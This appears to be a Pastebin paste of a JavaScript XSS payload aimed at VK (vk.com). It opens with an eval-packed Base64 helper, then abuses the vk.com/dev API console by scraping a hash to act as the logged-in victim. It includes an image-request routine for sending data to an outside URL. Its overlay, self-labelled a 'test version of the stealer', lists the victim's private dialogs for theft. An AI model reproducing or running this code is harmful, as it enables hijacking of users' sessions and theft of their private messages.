Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- *
- * Base64 encode / decode
- * <a href="http://www.webtoolkit.info/" title="http://www.webtoolkit.info/" class="liexternal">http://www.webtoolkit.info/</a>
- *
- **/
- eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 C={h:"U+/=",P:z(a){5 b="";5 c,k,m,F,q,f,e;5 i=0;a=C.M(a);E(i<a.y){c=a.o(i++);k=a.o(i++);m=a.o(i++);F=c>>2;q=((c&3)<<4)|(k>>4);f=((k&D)<<2)|(m>>6);e=m&s;p(K(k)){f=e=x}u p(K(m)){e=x}b=b+j.h.l(F)+j.h.l(q)+j.h.l(f)+j.h.l(e)}w b},W:z(a){5 b="";5 c,k,m;5 d,q,f,e;5 i=0;a=a.L(/[^A-Y-N-9\\+\\/\\=]/g,"");E(i<a.y){d=j.h.B(a.l(i++));q=j.h.B(a.l(i++));f=j.h.B(a.l(i++));e=j.h.B(a.l(i++));c=(d<<2)|(q>>4);k=((q&D)<<4)|(f>>2);m=((f&3)<<6)|e;b=b+7.8(c);p(f!=x){b=b+7.8(k)}p(e!=x){b=b+7.8(m)}}b=C.J(b);w b},M:z(a){a=a.L(/\\r\\n/g,"\\n");5 b="";O(5 n=0;n<a.y;n++){5 c=a.o(n);p(c<t){b+=7.8(c)}u p((c>Q)&&(c<R)){b+=7.8((c>>6)|S);b+=7.8((c&s)|t)}u{b+=7.8((c>>H)|G);b+=7.8(((c>>6)&s)|t);b+=7.8((c&s)|t)}}w b},J:z(a){5 b="";5 i=0;5 c=T=v=0;E(i<a.y){c=a.o(i);p(c<t){b+=7.8(c);i++}u p((c>V)&&(c<G)){v=a.o(i+1);b+=7.8(((c&X)<<6)|(v&s));i+=2}u{v=a.o(i+1);I=a.o(i+2);b+=7.8(((c&D)<<H)|((v&s)<<6)|(I&s));i+=3}}w b}};',61,61,'|||||var||String|fromCharCode||||||enc4|enc3||_keyStr||this|chr2|charAt|chr3||charCodeAt|if|enc2||63|128|else|c2|return|64|length|function||indexOf|Base64|15|while|enc1|224|12|c3|_utf8_decode|isNaN|replace|_utf8_encode|z0|for|encode|127|2048|192|c1|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|191|decode|31|Za'.split('|'),0,{}))
- /**
- *
- * VKAPI
- *
- **/
- var vk_api = {
- __api_url: 'https://vk.com/dev',
- api: function(method, params, callback) {
- $.ajax({
- type: 'GET',
- url: vk_api.__api_url + '/' + method,
- success: function(response) {
- var html_data = $(response) || {};
- var new_params = [];
- for (key in params) {
- new_params['param_' + key] = params[key];
- }
- var api_hash = html_data.find('#dev_req_run_btn').attr('onclick').match(/\'(.*?)\'/i)[1];
- var request_api_std_params = { act: 'a_run_method', al: '1', method: method, hash: api_hash, param_v: '5.73'};
- var request_api_params = $.extend( request_api_std_params, new_params );
- $.ajax({
- type: 'POST',
- url: vk_api.__api_url,
- data: request_api_params,
- success: function(raw) {
- var response = raw.match(/\{\"(.*)/i)[0];
- if (callback) callback(response);
- }
- });
- }
- });
- }
- };
- /**
- *
- * XSS ELEMENT
- *
- **/
- var xss = {
- create_xss_element: function(method, url, data) {
- var body = $('body') || {};
- if (method == 'GET') {
- var img = new Image();
- document.body.appendChild(img);
- img.src = url + '?' + data;
- var check_load_img_interval = setInterval(function() {
- if (img.height > 0) {
- document.body.removeChild(img);
- clearInterval(check_load_img_interval);
- }
- }, 500);
- }
- }
- };
- /**
- *
- * VK WORK
- *
- **/
- var vk_work = {
- current_dialog: {},
- createDialog: function(params) {
- var defaults = {
- width: 550,
- height: 129
- };
- var opts = $.extend(defaults, params);
- var dlg = $('<div></div>', {
- class: 'im--dialog-load',
- id: 'vk_dialog'
- });
- var new_left = (($(window).width() / 2) - (opts.width / 2));
- var new_top = (($(window).height() / 2) - (opts.height / 2));
- dlg.css({
- width: opts.width,
- height: opts.height,
- background: '#fff',
- border: '1px solid #939393',
- 'border-radius': '4px',
- margin: '0 auto',
- position: 'absolute',
- top: new_top,
- left: new_left,
- 'box-shadow': '#ccc 1px 1px 2px',
- 'z-index': '99999999'
- });
- var label = $('<div></div>', {
- class: 'im--dialog-label',
- id: 'vk_label'
- });
- label.css({
- border: '1px solid #faebcc',
- color: '#8a6d3b',
- background: '#fcf8e3',
- margin: '15px 16px 7px 19px',
- padding: '4px 5px',
- 'border-radius': '3px',
- 'text-align': 'center'
- });
- label.html('<b>Добро пожаловать в тестовую версию пиздильщика!</b> Отметьте диалоги, которые надо утащить');
- dlg.append(label);
- var content = $('<div></div>').css({
- padding: '5px 5px 10px 19px',
- margin: '10px',
- height: opts.height - 80,
- overflow: 'hidden',
- 'overflow-y' : 'scroll'
- }).addClass('content');
- dlg.append(content);
- $('body').prepend(dlg);
- vk_work.current_dialog = dlg;
- },
- load_dialogs_list: function() {
- var dialog_content = vk_work.current_dialog.find('.content') || {};
- var table = $('<table></table>').css({ 'list-style': 'none', margin: 0, padding: 0, width: '100%' });
- dialog_content.append(table);
- var users_ids = [];
- var mess_preeviews = [];
- vk_api.api('messages.getDialogs', { offset: 0, count: 10 }, function(response) {
- var js = $.parseJSON(response);
- for (i = 0; i < js.response.items.length; i++) {
- users_ids[i] = js.response.items[i].message.user_id;
- mess_preeviews[i] = js.response.items[i].message.body;
- }
- console.log(users_ids);
- vk_api.api('users.get', { user_ids: users_ids.join(','), fields: 'photo_50' }, function(response) {
- var js = $.parseJSON(response);
- for (i = 0; i < js.response.length; i++) {
- var tr = $('<tr><td width="2%"><input type="checkbox" /></td><td id="photo_50" width=2%"><img /></td><td id="name" width="30%"></td></tr><tr><td></td><td colspan="2" id="mess_pree"></td></tr>');
- var label = $('<div></div>', {
- class: 'im--dialog-label',
- id: 'vk_label'
- });
- label.css({
- border: '1px solid #4A76A8',
- color: '#4A76A8',
- background: '#EDEEF0',
- margin: '0px',
- padding: '6px 18px',
- 'border-radius': '3px'
- });
- label.text(mess_preeviews[i]);
- tr.find('td').css({ 'vertical-align': 'middle' });
- tr.find('td#id').text(js.response[i].id);
- tr.find('td#photo_50').find('img').attr({ src: js.response[i].photo_50 });
- tr.find('td#name').text(js.response[i].first_name + ' ' + js.response[i].last_name);
- tr.find('td#mess_pree').append(label);
- table.append(tr);
- }
- });
- });
- }
- };
- vk_work.createDialog({width: 900, height: 500});
- vk_work.load_dialogs_list();
Add Comment
Please, Sign In to add comment